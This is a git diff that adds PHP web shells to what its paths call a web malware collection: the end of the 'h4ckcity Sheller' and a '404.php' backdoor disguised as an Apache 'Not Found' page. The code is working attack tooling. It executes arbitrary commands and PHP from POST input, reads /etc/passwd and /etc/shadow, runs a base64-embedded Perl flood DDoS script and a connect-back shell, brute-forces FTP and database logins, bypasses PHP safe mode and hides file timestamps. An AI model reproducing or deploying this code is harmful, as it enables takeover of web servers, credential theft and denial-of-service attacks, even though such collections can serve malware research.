+ else {echo "".$v." ";}
+ echo " ";
+ }
+ echo "Can't write to file! ";}
+ else
+ {
+ echo "Saved! ";
+ fwrite($fp,$edit_text);
+ fclose($fp);
+ if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
+ $r = $edit_text;
+ }
+ }
+ $rows = count(explode("\r\n",$r));
+ if ($rows < 10) {$rows = 10;}
+ if ($rows > 30) {$rows = 30;}
+ echo "";
+ }
+ elseif (!empty($ft)) {echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. Unknown extension (".$ext."), please, select type manually. ";
+ foreach ($k as $u) {echo $u.": ";
+ }
+ exit;
+}
+?>
+
+
+
+
+ Quick Commands
+
+
+ Kernel Information
+
+
+
+
+
+
+ PHP Safe-Mode Bypass (Read Files)
+
+
+ PHP Safe-Mode Bypass (List Directories) :
+
+
+
+
+ Search
+
+ Upload
+
+
+
+ Create Directory
+
+
+ Create File
+
+
+
+ Enter Directory
+
+ Access File
+
+
+
+
+:: www.h4ckcity.org :: Coded By 2MzRp & LocalMan ::
+
+
+
+
+[+] Can't Open The Sheller File .[+] Uploaded Successful : $DIR/$Sheller.php ON "):
+ ("Safe Mode: OFF "));
+ $row_dis_func=explode(', ',$dis_func);
+ echo ("PHP: ".phpversion()." ");
+ echo ("MySQL: ");
+ if($mysql_stat){
+ echo "ON ";
+ }
+ else {
+ echo "OFF ";
+ }
+ echo "cURL: ";
+ if($curl_on){
+ echo "ON OFF ".$dis_func." ";
+ }
+ else {
+ echo "Disabled Functions : None ";
+ }
+ $uname = @exec('uname -a');
+ echo "OS: ";
+ if (empty($uname)){
+ echo (php_uname()." ");
+ }else
+ echo $uname."";
+ $id = @exec('id');
+ echo "SERVER: ".$server." ";
+ echo "ID: ";
+ if (!empty($id)){
+ echo $id." ";
+ }else
+ echo "user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid().
+ "";
+ echo "RemoteAddress: ".$HTTP_SERVER_VARS['REMOTE_ADDR']." , Server: ".@gethostbyname($_SERVER["HTTP_HOST"])." ";
+ if(isset($HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR'])){
+ echo "RemoteAddressIfProxy: ".$HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR']." ";
+ }
+ echo "";
+}
+function RndName() {
+$codelenght = 10;
+while(@$newcode_length < $codelenght) {
+$x=1;
+$y=3;
+$part = rand($x,$y);
+if($part==1){$a=48;$b=57;}
+if($part==2){$a=65;$b=90;}
+if($part==3){$a=97;$b=122;}
+$code_part=chr(rand($a,$b));
+(@$newcode_length = $newcode_length + 1);
+(@$newcode = $newcode.$code_part);
+}
+return $newcode;
+}
+# PHP Variables :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: PHP Variables #
+echo "
+
+
+ : Server Information :
+
+ ";
+ echo sysinfo();
+echo "
+
+
+
+
+ ";
+if (isset($_POST['Submit1']))
+{
+function C99_Create() {
+$C99 = RndName();
+$c99_add = (@$_POST['c99_txt']);
+$C99_File = (@file_get_contents("$c99_add"));
+if (!$C99_File){
+echo "[+] Can't Open The C99 Sheller File . [+] C99 Sheller Upload Successful : $C99.php [+] No Perm ! [+] Can't Open The R57 Sheller File . [+] R57 Sheller Upload Successful : $R57.php [+] No Perm ! [+] Directory [ h4ckcity ] Created . [+] Directory Changed . [+] .htaccess File Uploaded . [+] No Perm To Create .htaccess File ! [+] Can't Read /etc/passwd File . [+] Can't Make The Users Shortcuts . [+] Finish ! [+] Users Shortcut Created . [+] Finish ! [+] Can't Open /etc/passwd File . [+] DIR.TXT Doesn't Exist, Please Try Again Later . [+] Directory Doesn't Exist . [+] No Perm To Create DIR.TXT File, Don't Try Again There Is No Perm . [+] Plz Enter The Sheller URL . ';
+}
+else
+{
+@unlink('DIR.txt');
+START_Process();
+}
+}
+#######################################################################
+if (isset($_POST['Submit4']))
+{
+$IName = (@$_POST['IndexName']);
+if ($IName == '') {
+echo '[+] Plz Insert Index Name, For Previous Directory Use ( ../ ) Symbol . [+] CMD Sheller Successful Inj3cted . [+] No Perm ! [+] Plz Insert Correct Directory, For Example : home/root/public_html . [+] Directory Doesn't Exist . ";
+switch ($Item)
+{
+case 'system' :
+if($cmdCommand != '') print system($cmdCommand);
+break;
+case 'exec' :
+if($cmdCommand != '') print exec($cmdCommand);
+break;
+case 'passthru' :
+if($cmdCommand != '') print passthru($cmdCommand);
+break;
+case 'shell_exec' :
+if($cmdCommand != '') print shell_exec($cmdCommand);
+break;
+}
+echo " ";
+}
+if (isset($_POST['Submit7'])) {
+$lines=@file('/etc/passwd');
+if (!$lines) {
+$authp = @popen("/bin/cat /etc/passwd", "r");
+$i = 0;
+while (!feof($authp))
+$aresult[$i++] = fgets($authp, 4096);
+$lines = $aresult;
+@pclose($authp);
+}
+if (!$lines) {
+$EtcUrl = @$_REQUEST['ManuelDIR'];
+$lines=@file("$EtcUrl");
+}
+if (!$lines) {
+echo "[+] Can't Open /etc/passwd File . ";
+echo @shell_exec("perl dc.pl $IP $Port");
+echo " ";
+@unlink("dc.pl");
+}
+else {
+Echo "[+] No Perm ! No Connection ');
+mysql_query("CREATE DATABASE $db");
+mysql_query("CREATE TABLE $db.$tb (Valuess varchar(1024))");
+mysql_query("GRANT SELECT,INSERT ON $db.$tb TO $user@$server");
+mysql_close($l); mysql_connect("$server", "$user", "$pass") or die('No Connection ');
+mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE $db.$tb");
+$result = mysql_query("SELECT Valuess FROM $db.$tb");
+while(list($row) = mysql_fetch_row($result))
+print $row . chr(10);
+echo "";
+echo $result;
+echo " ";
+}
+if (isset($_POST['ddos_start'])) {
+$fileS = base64_decode("IyEvdXNyL2Jpbi9wZXJsCiNzb2NrMSBVRFAKI3NvY2syIElHTVAKI3NvY2szIElD
+TVAKI3NvY2s0IFRDUAojc29jazUgYnVneSBwYWNrZXRzCgp1c2UgU29ja2V0OwoK
+JEFSR0M9QEFSR1Y7CgppZiAoJEFSR0MgIT0zKSB7CiBwcmludGYgIlxuIjsKIHBy
+aW50ZiAiIC0tPT0gV2VsY29tZSB0byBJSFNURUFNIFByaXY4IFRvb2xzID09LS0g
+XG5cbiI7CiBwcmludGYgIiQwIDxpcD4gPHBvcnQ+IDx0aW1lPlxuXG4iOwogcHJp
+bnRmICIgRm9yIEZVQ0sgdGhlIHRhcmdldCB1c2UgVGhpcyBleGFtcGxlIDpcblxu
+IjsKIHByaW50ZiAiJDAgPGlwPiAwIDBcblxuIjsKIHByaW50ZiAiJDAgPGlwPiAy
+IDJcblxuIjsKIHByaW50ZiAiaWYgcG9ydCA9IDAsMiBhbmQgdGltZSA9IDAsMiB0
+aGF0IG1lYW5zLCByYW5kcG9ydHMvY29udGlub3VzIHBhY2tldHMuXG5cbiI7CiBl
+eGl0KDEpOwp9CgpteSAoJGlwLCRwb3J0LCRzaXplLCR0aW1lKTsKJGlwPSRBUkdW
+WzBdOwokcG9ydD0kQVJHVlsxXTsKJHRpbWU9JEFSR1ZbMl07Cgpzb2NrZXQoU09D
+SzEsIFBGX0lORVQsIFNPQ0tfREdSQU0sIDE3KTsKc29ja2V0KFNPQ0syLCBQRl9J
+TkVULCBTT0NLX1JBVywgMik7CnNvY2tldChTT0NLMywgUEZfSU5FVCwgU09DS19S
+QVcsIDEpOwpzb2NrZXQoU09DSzQsIFBGX0lORVQsIFNPQ0tfUkFXLCA2KTsKJGlh
+ZGRyID0gaW5ldF9hdG9uKCIkaXAiKTsKCnByaW50ZiAiQXR0YWNrIFN0YXJ0IEZV
+Q0sgdSAkaXBcbiI7CgppZiAoJEFSR1ZbMV0gPT0wICYmICRBUkdWWzJdID09MCkg
+ewogICBnb3RvIHJhbmRwYWNrZXRzOwp9CgppZiAoJEFSR1ZbMV0gIT0wICYmICRB
+UkdWWzJdID09MCkgewogICBnb3RvIHBhY2tldDsKfQoKaWYgKCRBUkdWWzFdID09
+MiAmJiAkQVJHVlsyXSA9PTIpIHsKICAgIGdvdG8gcmFuZHBhY2tldDsKfQoKCnBh
+Y2tldDoKZm9yKDs7KSB7CiAgICRzaXplPSRyYW5kIHggJHJhbmQgeCAkcmFuZDsK
+ICAgc2VuZChTT0NLMSwgMCwgJHNpemUsIHNvY2thZGRyX2luKCRwb3J0LCAkaWFk
+ZHIpKTsKICAgc2VuZChTT0NLMiwgMCwgJHNpemUsIHNvY2thZGRyX2luKCRwb3J0
+LCAkaWFkZHIpKTsKICAgc2VuZChTT0NLMywgMCwgJHNpemUsIHNvY2thZGRyX2lu
+KCRwb3J0LCAkaWFkZHIpKTsKICAgI3NlbmQoU09DSzQsIDAsICRzaXplLCBzb2Nr
+YWRkcl9pbigkcG9ydCwgJGlhZGRyKSk7Cn0KCgpyYW5kcGFja2V0Ogpmb3IoOzsp
+IHsKICAgJHNpemU9JHJhbmQgeCAkcmFuZCB4ICRyYW5kOwogICAkcG9ydD1pbnQo
+cmFuZCA2NTAwMCkrMTsKICAgZm9yKCRpID0gMzsgJGkgPD0gMjU1OyAkaSsrKSB7
+CiAgICAgICBuZXh0IGlmICRpID09IDY7CiAgICAgICBzb2NrZXQoU09DSzUsIFBG
+X0lORVQsIFNPQ0tfUkFXLCAkaSkgb3IgbmV4dDsKICAgICAgIHNlbmQoU09DSzUs
+IDAsICRzaXplLCBzb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKSk7CiAgIH0KfSAK
+CnJhbmRwYWNrZXRzOgpmb3IoOzspIHsKICAgJHNpemU9JHJhbmQgeCAkcmFuZCB4
+ICRyYW5kOwogICAkcG9ydD1pbnQocmFuZCA2NTAwMCkgKzE7CiAgIHNlbmQoU09D
+SzEsIDAsICRzaXplLCBzb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKSk7CiAgIHNl
+bmQoU09DSzIsIDAsICRzaXplLCBzb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKSk7
+CiAgIHNlbmQoU09DSzMsIDAsICRzaXplLCBzb2NrYWRkcl9pbigkcG9ydCwgJGlh
+ZGRyKSk7CiAgICNzZW5kKFNPQ0s0LCAwLCAkc2l6ZSwgc29ja2FkZHJfaW4oJHBv
+cnQsICRpYWRkcikpOwp9");
+$fpS = @fopen("DDos.pl",'w');
+$fwS = @fwrite($fpS,$fileS);
+if ($fwS) {
+$d_host = @$_POST['ddos_host'];
+$d_port = @$_POST['ddos_port'];
+$d_packet = @$_POST['ddos_packet'];
+echo "";
+echo @shell_exec("perl DDos.pl $d_host $d_port $d_packet");
+echo " ";
+@fclose($fpS);
+@unlink("DDos.pl");
+}
+else {
+Echo "[+] No Perm ! [+] ByPasser Successful Created : $Version.php ";
+}
+else {
+Echo "[+] No Perm ! [+] ByPasser Successful Created : $Version-B.php ";
+}
+else {
+Echo "[+] No Perm ! [+] Not Found Any ByPasser For This Version : $Version [+] Can't Open /etc/passwd File . [+] Users.txt Created Successful Access Denied : $default_dir ! ");
+while($file = @readdir($dp))
+ if($file != '.' && $file != '..') {
+ if (is_file("$file") == True) {
+ echo "$file$file [+] Directory [ h4ckcitydotorg ] Created . [+] Directory Changed . [+] .htaccess File Created . [+] No Perm To Create .htaccess File ! [+] Can't Read /etc/passwd File . [+] Can't Create Users Shortcuts . [+] Finish ! [+] Users Shortcut Created . [+] Finish ! [+] No Perm To Create Perl File ! Usage : [ Host : 0.0.0.0 ] [ Port : 25 ] [ Packet Time : 99999 ]
+
+
+ : Commands :
+
+
+
+ Tools :
+
+ Command :
+
+ Get ConnectBack :
+
+ Get Users :
+
+ Remote DDoser :
+
+ PHP DDoser :
+
+ CMD Inj3ctor :
+
+ Upload Sheller Here :
+
+
+
Upload User On Users :
+
+
+ Upload :
+
+
+
+
+ --== www.h4ckcity.org Sheller Version: 1.02 Coded By LocalMan &
2MzRp Spc Thx :Mikili,Mehdi.H4ckCity,Ne0.limpizik,r3dm0v3 ==--
+
+ ";
+?>
+
+
diff --git a/web-malware-collection-master/Backdoors/PHP/404.php b/web-malware-collection-master/Backdoors/PHP/404.php
new file mode 100755
index 0000000..3657fa3
--- /dev/null
+++ b/web-malware-collection-master/Backdoors/PHP/404.php
@@ -0,0 +1,1487 @@
+
+Not Found
+The requested URL was not found on this server.
+Apache Server at Port 80
+
+
+
+ "dir",
+ "Find index.php in current dir" => "dir /s /w /b index.php",
+ "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
+ "Show active connections" => "netstat -an",
+ "Show running services" => "net start",
+ "User accounts" => "net user",
+ "Show computers" => "net view",
+ "ARP Table" => "arp -a",
+ "IP Configuration" => "ipconfig /all"
+ );
+else
+ $aliases = array(
+ "List dir" => "ls -la",
+ "list file attributes on a Linux second extended file system" => "lsattr -va",
+ "show opened ports" => "netstat -an | grep -i listen",
+ "Find" => "",
+ "find all suid files" => "find / -type f -perm -04000 -ls",
+ "find suid files in current dir" => "find . -type f -perm -04000 -ls",
+ "find all sgid files" => "find / -type f -perm -02000 -ls",
+ "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
+ "find config.inc.php files" => "find / -type f -name config.inc.php",
+ "find config* files" => "find / -type f -name \"config*\"",
+ "find config* files in current dir" => "find . -type f -name \"config*\"",
+ "find all writable folders and files" => "find / -perm -2 -ls",
+ "find all writable folders and files in current dir" => "find . -perm -2 -ls",
+ "find all service.pwd files" => "find / -type f -name service.pwd",
+ "find service.pwd files in current dir" => "find . -type f -name service.pwd",
+ "find all .htpasswd files" => "find / -type f -name .htpasswd",
+ "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
+ "find all .bash_history files" => "find / -type f -name .bash_history",
+ "find .bash_history files in current dir" => "find . -type f -name .bash_history",
+ "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
+ "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
+ "Locate" => "",
+ "locate httpd.conf files" => "locate httpd.conf",
+ "locate vhosts.conf files" => "locate vhosts.conf",
+ "locate proftpd.conf files" => "locate proftpd.conf",
+ "locate psybnc.conf files" => "locate psybnc.conf",
+ "locate my.conf files" => "locate my.conf",
+ "locate admin.php files" =>"locate admin.php",
+ "locate cfg.php files" => "locate cfg.php",
+ "locate conf.php files" => "locate conf.php",
+ "locate config.dat files" => "locate config.dat",
+ "locate config.php files" => "locate config.php",
+ "locate config.inc files" => "locate config.inc",
+ "locate config.inc.php" => "locate config.inc.php",
+ "locate config.default.php files" => "locate config.default.php",
+ "locate config* files " => "locate config",
+ "locate .conf files"=>"locate '.conf'",
+ "locate .pwd files" => "locate '.pwd'",
+ "locate .sql files" => "locate '.sql'",
+ "locate .htpasswd files" => "locate '.htpasswd'",
+ "locate .bash_history files" => "locate '.bash_history'",
+ "locate .mysql_history files" => "locate '.mysql_history'",
+ "locate .fetchmailrc files" => "locate '.fetchmailrc'",
+ "locate backup files" => "locate backup",
+ "locate dump files" => "locate dump",
+ "locate priv files" => "locate priv"
+ );
+
+function printHeader() {
+ if(empty($_POST['charset']))
+ $_POST['charset'] = "UTF-8";
+ global $color;
+ ?>
+<?=$_SERVER['HTTP_HOST']?>- 404 Not Found Shell V.<?=VERSION?>-SubhashDasyam.com
+
+
+
+
+".$path[$i]."/";
+ }
+ $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
+ $opt_charsets = '';
+ foreach($charsets as $item)
+ $opt_charsets .= '
'.$item.' ';
+ $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
+ if(!empty($GLOBALS['auth_pass']))
+ $m['Logout'] = 'Logout';
+ $m['Self remove'] = 'SelfRemove';
+ $menu = '';
+ foreach($m as $k => $v)
+ $menu .= '
[ '.$k.' ] ';
+ $drives = "";
+ if ($GLOBALS['os'] == 'win') {
+ foreach( range('a','z') as $drive )
+ if (is_dir($drive.':\\'))
+ $drives .= '
[ '.$drive.' ] ';
+ }
+ echo '
Uname
+User
+Php
+Hdd
+Cwd'.($GLOBALS['os'] == 'win'?'
+Drives':'').' :'.substr(@php_uname(), 0, 120).' [Google] [milw0rm]
+:'.$uid.' ( '.$user.' ) Group: '.$gid.' ( '.$group.' )
+:'.@phpversion().' Safe mode: '.($GLOBALS['safe_mode']?'ON ':'OFF [ phpinfo ] Datetime: '.date('Y-m-d H:i:s').'
+:'.viewSize($totalSpace).' Free: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)
+:'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' [ home ]
+:'.$drives.' '.
+ ''.$opt_charsets.' Server IP:
+'.gethostbyname($_SERVER["HTTP_HOST"]).'
+Client IP:
+'.$_SERVER['REMOTE_ADDR'].'
'.
+ '
';
+}
+
+function printFooter() {
+ $is_writable = is_writable($GLOBALS['cwd'])?"[ Writeable ] ":"[ Not writable ] ";
+?>
+
+
+
'.perms(@fileperms($f)).' '.perms(@fileperms($f)).' '.perms(@fileperms($f)).' Server security information ';
+ function showSecParam($n, $v) {
+ $v = trim($v);
+ if($v) {
+ echo '
'.$n.': ';
+ if(strpos($v, "\n") === false)
+ echo $v.'
+';
+ else
+ echo '
'.$v.' ';
+ }
+ }
+
+ showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
+ showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
+ showSecParam('Open base dir', @ini_get('open_basedir'));
+ showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
+ showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
+ showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
+ $temp=array();
+ if(function_exists('mysql_get_client_info'))
+ $temp[] = "MySql (".mysql_get_client_info().")";
+ if(function_exists('mssql_connect'))
+ $temp[] = "MSSQL";
+ if(function_exists('pg_connect'))
+ $temp[] = "PostgreSQL";
+ if(function_exists('oci_connect'))
+ $temp[] = "Oracle";
+ showSecParam('Supported databases', implode(', ', $temp));
+ echo '
+';
+
+ if( $GLOBALS['os'] == 'nix' ) {
+ $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
+ $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
+ $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
+ showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes
[view] ":'no');
+ showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes
[view] ":'no');
+ showSecParam('OS version', @file_get_contents('/proc/version'));
+ showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
+ if(!$GLOBALS['safe_mode']) {
+ echo '
+';
+ $temp=array();
+ foreach ($userful as $item)
+ if(which($item)){$temp[]=$item;}
+ showSecParam('Userful', implode(', ',$temp));
+ $temp=array();
+ foreach ($danger as $item)
+ if(which($item)){$temp[]=$item;}
+ showSecParam('Danger', implode(', ',$temp));
+ $temp=array();
+ foreach ($downloaders as $item)
+ if(which($item)){$temp[]=$item;}
+ showSecParam('Downloaders', implode(', ',$temp));
+ echo '
+';
+ showSecParam('Hosts', @file_get_contents('/etc/hosts'));
+ showSecParam('HDD space', ex('df -h'));
+ showSecParam('Mount options', @file_get_contents('/etc/fstab'));
+ }
+ } else {
+ showSecParam('OS Version',ex('ver'));
+ showSecParam('Account Settings',ex('net accounts'));
+ showSecParam('User Accounts',ex('net user'));
+ }
+ echo '
PHP info ';
+ ob_start();
+ phpinfo();
+ $tmp = ob_get_clean();
+ $tmp = preg_replace('!body {.*}!msiU','',$tmp);
+ $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
+ $tmp = preg_replace('!h1!msiU','h2',$tmp);
+ $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
+ $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
+ echo $tmp;
+ echo '
+';
+ }
+ if(empty($_POST['ajax'])&&!empty($_POST['p1']))
+ $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
+ echo 'Execution PHP-code ';
+ if(!empty($_POST['p1'])) {
+ ob_start();
+ eval($_POST['p1']);
+ echo htmlspecialchars(ob_get_clean());
+ }
+ echo ' File manager ';
+ if(isset($_POST['p1'])) {
+ switch($_POST['p1']) {
+ case 'uploadFile':
+ if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
+ echo "Can't upload file!";
+ break;
+ break;
+ case 'mkdir':
+ if(!@mkdir($_POST['p2']))
+ echo "Can't create new dir";
+ break;
+ case 'delete':
+ function deleteDir($path) {
+ $path = (substr($path,-1)=='/') ? $path:$path.'/';
+ $dh = opendir($path);
+ while ( ($item = readdir($dh) ) !== false) {
+ $item = $path.$item;
+ if ( (basename($item) == "..") || (basename($item) == ".") )
+ continue;
+ $type = filetype($item);
+ if ($type == "dir")
+ deleteDir($item);
+ else
+ @unlink($item);
+ }
+ closedir($dh);
+ rmdir($path);
+ }
+ if(is_array(@$_POST['f']))
+ foreach($_POST['f'] as $f) {
+ $f = urldecode($f);
+ if(is_dir($f))
+ deleteDir($f);
+ else
+ @unlink($f);
+ }
+ break;
+ case 'paste':
+ if($_SESSION['act'] == 'copy') {
+ function copy_paste($c,$s,$d){
+ if(is_dir($c.$s)){
+ mkdir($d.$s);
+ $h = opendir($c.$s);
+ while (($f = readdir($h)) !== false)
+ if (($f != ".") and ($f != "..")) {
+ copy_paste($c.$s.'/',$f, $d.$s.'/');
+ }
+ } elseif(is_file($c.$s)) {
+ @copy($c.$s, $d.$s);
+ }
+ }
+ foreach($_SESSION['f'] as $f)
+ copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
+ } elseif($_SESSION['act'] == 'move') {
+ function move_paste($c,$s,$d){
+ if(is_dir($c.$s)){
+ mkdir($d.$s);
+ $h = opendir($c.$s);
+ while (($f = readdir($h)) !== false)
+ if (($f != ".") and ($f != "..")) {
+ copy_paste($c.$s.'/',$f, $d.$s.'/');
+ }
+ } elseif(is_file($c.$s)) {
+ @copy($c.$s, $d.$s);
+ }
+ }
+ foreach($_SESSION['f'] as $f)
+ @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
+ }
+ unset($_SESSION['f']);
+ break;
+ default:
+ if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
+ $_SESSION['act'] = @$_POST['p1'];
+ $_SESSION['f'] = @$_POST['f'];
+ foreach($_SESSION['f'] as $k => $f)
+ $_SESSION['f'][$k] = urldecode($f);
+ $_SESSION['cwd'] = @$_POST['c'];
+ }
+ break;
+ }
+ echo '';
+ }
+ $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
+ if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
+ global $sort;
+ $sort = array('name', 1);
+ if(!empty($_POST['p1'])) {
+ if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
+ $sort = array($match[1], (int)$match[2]);
+ }
+?>
+
+
';
+ $stringTools = array(
+ 'Base64 encode' => 'base64_encode',
+ 'Base64 decode' => 'base64_decode',
+ 'Url encode' => 'urlencode',
+ 'Url decode' => 'urldecode',
+ 'Full urlencode' => 'full_urlencode',
+ 'md5 hash' => 'md5',
+ 'sha1 hash' => 'sha1',
+ 'crypt' => 'crypt',
+ 'CRC32' => 'crc32',
+ 'ASCII to HEX' => 'ascii2hex',
+ 'HEX to ASCII' => 'hex2ascii',
+ 'HEX to DEC' => 'hexdec',
+ 'HEX to BIN' => 'hex2bin',
+ 'DEC to HEX' => 'dechex',
+ 'DEC to BIN' => 'decbin',
+ 'BIN to HEX' => 'bin2hex',
+ 'BIN to DEC' => 'bindec',
+ 'String to lower case' => 'strtolower',
+ 'String to upper case' => 'strtoupper',
+ 'Htmlspecialchars' => 'htmlspecialchars',
+ 'String length' => 'strlen',
+ );
+ if(empty($_POST['ajax'])&&!empty($_POST['p1']))
+ $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
+ echo "
";
+ if(!empty($_POST['p1'])) {
+ if(function_exists($_POST['p1']))
+ echo htmlspecialchars($_POST['p1']($_POST['p2']));
+ }
+ echo" Search for hash:
+
+
+ File tools';
+ if( !file_exists(@$_POST['p1']) ) {
+ echo 'File not exists';
+ printFooter();
+ return;
+ }
+ $uid = @posix_getpwuid(@fileowner($_POST['p1']));
+ $gid = @posix_getgrgid(@fileowner($_POST['p1']));
+ echo '
Name: '.htmlspecialchars($_POST['p1']).'
Size: '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').'
Permission: '.viewPermsColor($_POST['p1']).'
Owner/Group: '.$uid['name'].'/'.$gid['name'].'
+';
+ echo '
Create time: '.date('Y-m-d H:i:s',filectime($_POST['p1'])).'
Access time: '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).'
Modify time: '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'
+
+';
+ if( empty($_POST['p2']) )
+ $_POST['p2'] = 'view';
+ if( is_file($_POST['p1']) )
+ $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
+ else
+ $m = array('Chmod', 'Rename', 'Touch');
+ foreach($m as $v)
+ echo '
'.((strtolower($v)==@$_POST['p2'])?'[ '.$v.' ] ':$v).' ';
+ echo '
+
+';
+ switch($_POST['p2']) {
+ case 'view':
+ echo '
';
+ $fp = @fopen($_POST['p1'], 'r');
+ if($fp) {
+ while( !@feof($fp) )
+ echo htmlspecialchars(@fread($fp, 1024));
+ @fclose($fp);
+ }
+ echo ' ';
+ break;
+ case 'highlight':
+ if( is_readable($_POST['p1']) ) {
+ echo '
';
+ $code = highlight_file($_POST['p1'],true);
+ echo str_replace(array(''), array(''),$code).'
';
+ }
+ break;
+ case 'chmod':
+ if( !empty($_POST['p3']) ) {
+ $perms = 0;
+ for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
+ $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
+ if(!@chmod($_POST['p1'], $perms))
+ echo 'Can\'t set permissions!
+';
+ else
+ die('');
+ }
+ echo '
';
+ break;
+ case 'edit':
+ if( !is_writable($_POST['p1'])) {
+ echo 'File isn\'t writeable';
+ break;
+ }
+ if( !empty($_POST['p3']) ) {
+ @file_put_contents($_POST['p1'],$_POST['p3']);
+ echo 'Saved!
+';
+ }
+ echo '
';
+ break;
+ case 'hexdump':
+ $c = @file_get_contents($_POST['p1']);
+ $n = 0;
+ $h = array('00000000
+','','');
+ $len = strlen($c);
+ for ($i=0; $i<$len; ++$i) {
+ $h[1] .= sprintf('%02X',ord($c[$i])).' ';
+ switch ( ord($c[$i]) ) {
+ case 0: $h[2] .= ' '; break;
+ case 9: $h[2] .= ' '; break;
+ case 10: $h[2] .= ' '; break;
+ case 13: $h[2] .= ' '; break;
+ default: $h[2] .= $c[$i]; break;
+ }
+ $n++;
+ if ($n == 32) {
+ $n = 0;
+ if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'
+';}
+ $h[1] .= '
+';
+ $h[2] .= "\n";
+ }
+ }
+ echo '
'.$h[0].' '.$h[1].' '.htmlspecialchars($h[2]).'
';
+ break;
+ case 'rename':
+ if( !empty($_POST['p3']) ) {
+ if(!@rename($_POST['p1'], $_POST['p3']))
+ echo 'Can\'t rename!
+';
+ else
+ die('');
+ }
+ echo '
';
+ break;
+ case 'touch':
+ if( !empty($_POST['p3']) ) {
+ $time = strtotime($_POST['p3']);
+ if($time) {
+ if(@touch($_POST['p1'],$time,$time))
+ die('');
+ else {
+ echo 'Fail!';
+ }
+ } else echo 'Bad time format!';
+ }
+ echo '
';
+ break;
+ case 'mkfile':
+
+ break;
+ }
+ echo '
Safe mode bypass ';
+ echo '
Copy (read file)
+
Glob (list dir)
+
Curl (read file)
+
Ini_restore (read file)
+
Posix_getpwuid ("Read" /etc/passwd)
+
+
Imap_open (read file) ';
+ if($temp)
+ echo '
'.$temp.' ';
+ echo '
';
+ printFooter();
+}
+
+function actionLogout() {
+ unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
+ echo 'bye!';
+}
+
+function actionSelfRemove() {
+ printHeader();
+ if($_POST['p1'] == 'yes') {
+ if(@unlink(SELF_PATH))
+ die('Shell has been removed');
+ else
+ echo 'unlink error!';
+ }
+ echo 'Suicide Really want to remove the shell?
+
Yes Results Type: '.htmlspecialchars($_POST['proto']).' Server: '.htmlspecialchars($_POST['server']).'
+';
+ if( $_POST['proto'] == 'ftp' ) {
+ function bruteForce($ip,$port,$login,$pass) {
+ $fp = @ftp_connect($ip, $port?$port:21);
+ if(!$fp) return false;
+ $res = @ftp_login($fp, $login, $pass);
+ @ftp_close($fp);
+ return $res;
+ }
+ } elseif( $_POST['proto'] == 'mysql' ) {
+ function bruteForce($ip,$port,$login,$pass) {
+ $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
+ @mysql_close($res);
+ return $res;
+ }
+ } elseif( $_POST['proto'] == 'pgsql' ) {
+ function bruteForce($ip,$port,$login,$pass) {
+ $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
+ $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
+ @pg_close($res);
